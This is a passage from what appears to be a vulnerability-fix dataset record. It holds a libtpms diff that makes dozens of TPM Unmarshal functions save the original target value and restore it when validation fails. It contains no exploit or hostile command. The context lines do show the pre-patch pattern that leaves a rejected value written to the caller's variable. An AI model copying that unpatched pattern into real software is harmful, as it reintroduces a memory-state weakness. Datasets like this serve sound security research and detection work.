BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_CAMELLIA_KEY_BITS orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_KEY_BITS_Unmarshal(target, buffer, size); \n@@ -2528,6 +2633,7 @@ TPMI_CAMELLIA_KEY_BITS_Unmarshal(TPMI_CAMELLIA_KEY_BITS *target, BYTE **buffer,\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -2539,6 +2645,7 @@ TPM_RC\n TPMI_SM4_KEY_BITS_Unmarshal(TPMI_SM4_KEY_BITS *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_SM4_KEY_BITS orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_KEY_BITS_Unmarshal(target, buffer, size); \n@@ -2549,6 +2656,7 @@ TPMI_SM4_KEY_BITS_Unmarshal(TPMI_SM4_KEY_BITS *target, BYTE **buffer, INT32 *siz\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -2560,6 +2668,7 @@ TPM_RC\n TPMI_TDES_KEY_BITS_Unmarshal(TPMI_SM4_KEY_BITS *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_SM4_KEY_BITS orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_KEY_BITS_Unmarshal(target, buffer, size);\n@@ -2571,6 +2680,7 @@ TPMI_TDES_KEY_BITS_Unmarshal(TPMI_SM4_KEY_BITS *target, BYTE **buffer, INT32 *si\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -2843,6 +2953,7 @@ TPM_RC\n TPMI_ALG_KEYEDHASH_SCHEME_Unmarshal(TPMI_ALG_KEYEDHASH_SCHEME *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_KEYEDHASH_SCHEME orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n@@ -2862,6 +2973,7 @@ TPMI_ALG_KEYEDHASH_SCHEME_Unmarshal(TPMI_ALG_KEYEDHASH_SCHEME *target, BYTE **bu\n \t }\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -3246,6 +3358,7 @@ TPM_RC\n TPMI_ALG_ASYM_SCHEME_Unmarshal(TPMI_ALG_ASYM_SCHEME *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_ASYM_SCHEME orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n@@ -3289,6 +3402,7 @@ TPMI_ALG_ASYM_SCHEME_Unmarshal(TPMI_ALG_ASYM_SCHEME *target, BYTE **buffer, INT3\n \t }\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -3367,6 +3481,7 @@ TPM_RC\n TPMI_ALG_RSA_SCHEME_Unmarshal(TPMI_ALG_RSA_SCHEME *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_RSA_SCHEME orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n@@ -3392,6 +3507,7 @@ TPMI_ALG_RSA_SCHEME_Unmarshal(TPMI_ALG_RSA_SCHEME *target, BYTE **buffer, INT32\n \t }\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -3419,6 +3535,7 @@ TPM_RC\n TPMI_ALG_RSA_DECRYPT_Unmarshal(TPMI_ALG_RSA_DECRYPT *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_RSA_DECRYPT orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n@@ -3438,6 +3555,7 @@ TPMI_ALG_RSA_DECRYPT_Unmarshal(TPMI_ALG_RSA_DECRYPT *target, BYTE **buffer, INT3\n \t }\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -3478,6 +3596,7 @@ TPM_RC\n TPMI_RSA_KEY_BITS_Unmarshal(TPMI_RSA_KEY_BITS *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RSA_KEY_BITS orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_KEY_BITS_Unmarshal(target, buffer, size); \n@@ -3490,6 +3609,7 @@ TPMI_RSA_KEY_BITS_Unmarshal(TPMI_RSA_KEY_BITS *target, BYTE **buffer, INT32 *siz\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -3574,6 +3694,7 @@ TPM_RC\n TPMI_ALG_ECC_SCHEME_Unmarshal(TPMI_ALG_ECC_SCHEME *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_ECC_SCHEME orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n@@ -3605,6 +3726,7 @@ TPMI_ALG_ECC_SCHEME_Unmarshal(TPMI_ALG_ECC_SCHEME *target, BYTE **buffer, INT32\n \t }\n \t default:\n \t rc = TPM_RC_SCHEME;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -3616,6 +3738,7 @@ TPM_RC\n TPMI_ECC_CURVE_Unmarshal(TPMI_ECC_CURVE *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ECC_CURVE orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ECC_CURVE_Unmarshal(target, buffer, size); \n@@ -3652,6 +3775,7 @@ TPMI_ECC_CURVE_Unmarshal(TPMI_ECC_CURVE *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_CURVE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -3866,6 +3990,7 @@ TPM_RC\n TPMI_ALG_PUBLIC_Unmarshal(TPMI_ALG_PUBLIC *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_PUBLIC orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n@@ -3887,6 +4012,7 @@ TPMI_ALG_PUBLIC_Unmarshal(TPMI_ALG_PUBLIC *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_TYPE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -4221,13 +4347,15 @@ TPM_RC\n TPMA_NV_Unmarshal(TPMA_NV *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMA_NV orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT32_Unmarshal((UINT32 *)target, buffer, size); /* libtpms changed */\n }\n if (rc == TPM_RC_SUCCESS) {\n \tif (*target & TPMA_NV_RESERVED) {\n \t rc = TPM_RC_RESERVED_BITS;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;", "sections": [{"section": "@@ -165,13 +165,15 @@ TPM_RC\n TPM_GENERATED_Unmarshal(TPM_GENERATED *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_GENERATED orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT32_Unmarshal(target, buffer, size); \n }\n if (rc == TPM_RC_SUCCESS) {\n \tif (*target != TPM_GENERATED_VALUE) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -198,6 +200,7 @@ TPM_RC\n TPM_ECC_CURVE_Unmarshal(TPM_ECC_CURVE *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_ECC_CURVE orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT16_Unmarshal(target, buffer, size);\n", "related": false}, {"section": "@@ -216,6 +219,7 @@ TPM_ECC_CURVE_Unmarshal(TPM_ECC_CURVE *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_CURVE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -241,6 +245,7 @@ TPM_RC\n TPM_CLOCK_ADJUST_Unmarshal(TPM_CLOCK_ADJUST *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_CLOCK_ADJUST orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = INT8_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -257,6 +262,7 @@ TPM_CLOCK_ADJUST_Unmarshal(TPM_CLOCK_ADJUST *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -268,6 +274,7 @@ TPM_RC\n TPM_EO_Unmarshal(TPM_EO *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_EO orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT16_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -289,6 +296,7 @@ TPM_EO_Unmarshal(TPM_EO *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -300,6 +308,7 @@ TPM_RC\n TPM_ST_Unmarshal(TPM_ST *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_ST orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT16_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -325,6 +334,7 @@ TPM_ST_Unmarshal(TPM_ST *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -336,6 +346,7 @@ TPM_RC\n TPM_SU_Unmarshal(TPM_SU *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_SU orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT16_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -347,6 +358,7 @@ TPM_SU_Unmarshal(TPM_SU *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -358,6 +370,7 @@ TPM_RC\n TPM_SE_Unmarshal(TPM_SE *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_SE orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT8_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -370,6 +383,7 @@ TPM_SE_Unmarshal(TPM_SE *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -381,6 +395,7 @@ TPM_RC\n TPM_CAP_Unmarshal(TPM_CAP *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_CAP orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT32_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -402,6 +417,7 @@ TPM_CAP_Unmarshal(TPM_CAP *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -452,13 +468,15 @@ TPM_RC\n TPMA_ALGORITHM_Unmarshal(TPMA_ALGORITHM *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMA_ALGORITHM orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT32_Unmarshal((UINT32 *)target, buffer, size); /* libtpms changed */\n }\n if (rc == TPM_RC_SUCCESS) {\n \tif (*target & TPMA_ALGORITHM_reserved) {\n \t rc = TPM_RC_RESERVED_BITS;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -470,13 +488,15 @@ TPM_RC\n TPMA_OBJECT_Unmarshal(TPMA_OBJECT *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMA_OBJECT orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT32_Unmarshal((UINT32 *)target, buffer, size); /* libtpms changed */\n }\n if (rc == TPM_RC_SUCCESS) {\n \tif (*target & TPMA_OBJECT_reserved) {\n \t rc = TPM_RC_RESERVED_BITS;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -488,13 +508,15 @@ TPM_RC\n TPMA_SESSION_Unmarshal(TPMA_SESSION *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMA_SESSION orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT8_Unmarshal((UINT8 *)target, buffer, size); /* libtpms changed */\n }\n if (rc == TPM_RC_SUCCESS) {\n \tif (*target & TPMA_SESSION_reserved) {\n \t rc = TPM_RC_RESERVED_BITS;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -519,13 +541,15 @@ TPM_RC\n TPMA_CC_Unmarshal(TPMA_CC *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMA_CC orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT32_Unmarshal((UINT32 *)target, buffer, size); /* libtpms changed */\n }\n if (rc == TPM_RC_SUCCESS) {\n \tif (*target & TPMA_CC_reserved) {\n \t rc = TPM_RC_RESERVED_BITS;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -537,6 +561,7 @@ TPM_RC\n TPMI_YES_NO_Unmarshal(TPMI_YES_NO *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_YES_NO orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT8_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -548,6 +573,7 @@ TPMI_YES_NO_Unmarshal(TPMI_YES_NO *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -559,6 +585,7 @@ TPM_RC\n TPMI_DH_OBJECT_Unmarshal(TPMI_DH_OBJECT *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_DH_OBJECT orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -571,6 +598,7 @@ TPMI_DH_OBJECT_Unmarshal(TPMI_DH_OBJECT *target, BYTE **buffer, INT32 *size, BOO\n \t isNotPersistent &&\n \t isNotLegalNull) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -582,6 +610,7 @@ TPM_RC\n TPMI_DH_PARENT_Unmarshal(TPMI_DH_PARENT *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_DH_PARENT orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -600,6 +629,7 @@ TPMI_DH_PARENT_Unmarshal(TPMI_DH_PARENT *target, BYTE **buffer, INT32 *size, BOO\n \t isNotEndorsement && \n \t isNotLegalNull) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -611,6 +641,7 @@ TPM_RC\n TPMI_DH_PERSISTENT_Unmarshal(TPMI_DH_PERSISTENT *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_DH_PERSISTENT orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -619,6 +650,7 @@ TPMI_DH_PERSISTENT_Unmarshal(TPMI_DH_PERSISTENT *target, BYTE **buffer, INT32 *s\n \tBOOL isNotPersistent = (*target < PERSISTENT_FIRST) || (*target > PERSISTENT_LAST);\n \tif (isNotPersistent) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -630,6 +662,7 @@ TPM_RC\n TPMI_DH_ENTITY_Unmarshal(TPMI_DH_ENTITY *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_DH_ENTITY orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -656,6 +689,7 @@ TPMI_DH_ENTITY_Unmarshal(TPMI_DH_ENTITY *target, BYTE **buffer, INT32 *size, BOO\n \t isNotAuth &&\n \t isNotLegalNull) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -667,6 +701,7 @@ TPM_RC\n TPMI_DH_PCR_Unmarshal(TPMI_DH_PCR *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_DH_PCR orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -677,6 +712,7 @@ TPMI_DH_PCR_Unmarshal(TPMI_DH_PCR *target, BYTE **buffer, INT32 *size, BOOL allo\n \tif (isNotPcr &&\n \t isNotLegalNull) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -688,6 +724,7 @@ TPM_RC\n TPMI_SH_AUTH_SESSION_Unmarshal(TPMI_SH_AUTH_SESSION *target, BYTE **buffer, INT32 *size, BOOL allowPwd)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_SH_AUTH_SESSION orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -700,6 +737,7 @@ TPMI_SH_AUTH_SESSION_Unmarshal(TPMI_SH_AUTH_SESSION *target, BYTE **buffer, INT3\n \t isNotPolicySession &&\n \t isNotLegalPwd) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -711,6 +749,7 @@ TPM_RC\n TPMI_SH_HMAC_Unmarshal(TPMI_SH_HMAC *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_SH_HMAC orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -719,6 +758,7 @@ TPMI_SH_HMAC_Unmarshal(TPMI_SH_HMAC *target, BYTE **buffer, INT32 *size)\n \tBOOL isNotHmacSession = (*target < HMAC_SESSION_FIRST ) || (*target > HMAC_SESSION_LAST);\n \tif (isNotHmacSession) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -730,6 +770,7 @@ TPM_RC\n TPMI_SH_POLICY_Unmarshal(TPMI_SH_POLICY *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_SH_POLICY orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -738,6 +779,7 @@ TPMI_SH_POLICY_Unmarshal(TPMI_SH_POLICY *target, BYTE **buffer, INT32 *size)\n \tBOOL isNotPolicySession = (*target < POLICY_SESSION_FIRST) || (*target > POLICY_SESSION_LAST);\n \tif (isNotPolicySession) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -749,6 +791,7 @@ TPM_RC\n TPMI_DH_CONTEXT_Unmarshal(TPMI_DH_CONTEXT *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_DH_CONTEXT orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -761,6 +804,7 @@ TPMI_DH_CONTEXT_Unmarshal(TPMI_DH_CONTEXT *target, BYTE **buffer, INT32 *size)\n \t isNotPolicySession &&\n \t isNotTransient) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -772,6 +816,7 @@ TPM_RC\n TPMI_DH_SAVED_Unmarshal(TPMI_DH_SAVED *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_DH_SAVED orig_target = *target; // libtpms added\n allowNull = allowNull;\n \n if (rc == TPM_RC_SUCCESS) {\n", "related": false}, {"section": "@@ -789,6 +834,7 @@ TPMI_DH_SAVED_Unmarshal(TPMI_DH_SAVED *target, BYTE **buffer, INT32 *size, BOOL\n \t isNotSequenceObject &&\n \t isNotTransientStClear) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -800,6 +846,7 @@ TPM_RC\n TPMI_RH_HIERARCHY_Unmarshal(TPMI_RH_HIERARCHY *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_HIERARCHY orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -816,6 +863,7 @@ TPMI_RH_HIERARCHY_Unmarshal(TPMI_RH_HIERARCHY *target, BYTE **buffer, INT32 *siz\n \t }\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -827,6 +875,7 @@ TPM_RC\n TPMI_RH_ENABLES_Unmarshal(TPMI_RH_ENABLES *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_ENABLES orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -844,6 +893,7 @@ TPMI_RH_ENABLES_Unmarshal(TPMI_RH_ENABLES *target, BYTE **buffer, INT32 *size, B\n \t }\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -855,6 +905,7 @@ TPM_RC\n TPMI_RH_HIERARCHY_AUTH_Unmarshal(TPMI_RH_HIERARCHY_AUTH *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_HIERARCHY_AUTH orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -868,6 +919,7 @@ TPMI_RH_HIERARCHY_AUTH_Unmarshal(TPMI_RH_HIERARCHY_AUTH *target, BYTE **buffer,\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -879,6 +931,7 @@ TPM_RC\n TPMI_RH_HIERARCHY_POLICY_Unmarshal(TPMI_RH_HIERARCHY_POLICY *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_HIERARCHY_POLICY orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -895,6 +948,7 @@ TPMI_RH_HIERARCHY_POLICY_Unmarshal(TPMI_RH_HIERARCHY_POLICY *target, BYTE **buff\n \t\t BOOL isNotHP = (*target < TPM_RH_ACT_0) || (*target > TPM_RH_ACT_F);\n \t\t if (isNotHP) {\n \t\t rc = TPM_RC_VALUE;\n+\t\t *target = orig_target; // libtpms added\n \t\t }\n \t }\n \t}\n", "related": false}, {"section": "@@ -908,6 +962,7 @@ TPM_RC\n TPMI_RH_PLATFORM_Unmarshal(TPMI_RH_PLATFORM *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_PLATFORM orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -918,6 +973,7 @@ TPMI_RH_PLATFORM_Unmarshal(TPMI_RH_PLATFORM *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -929,6 +985,7 @@ TPM_RC\n TPMI_RH_ENDORSEMENT_Unmarshal(TPMI_RH_ENDORSEMENT *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_ENDORSEMENT orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -943,6 +1000,7 @@ TPMI_RH_ENDORSEMENT_Unmarshal(TPMI_RH_ENDORSEMENT *target, BYTE **buffer, INT32\n \t }\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -954,6 +1012,7 @@ TPM_RC\n TPMI_RH_PROVISION_Unmarshal(TPMI_RH_PROVISION *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_PROVISION orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -965,6 +1024,7 @@ TPMI_RH_PROVISION_Unmarshal(TPMI_RH_PROVISION *target, BYTE **buffer, INT32 *siz\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -976,6 +1036,7 @@ TPM_RC\n TPMI_RH_CLEAR_Unmarshal(TPMI_RH_CLEAR *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_CLEAR orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -987,6 +1048,7 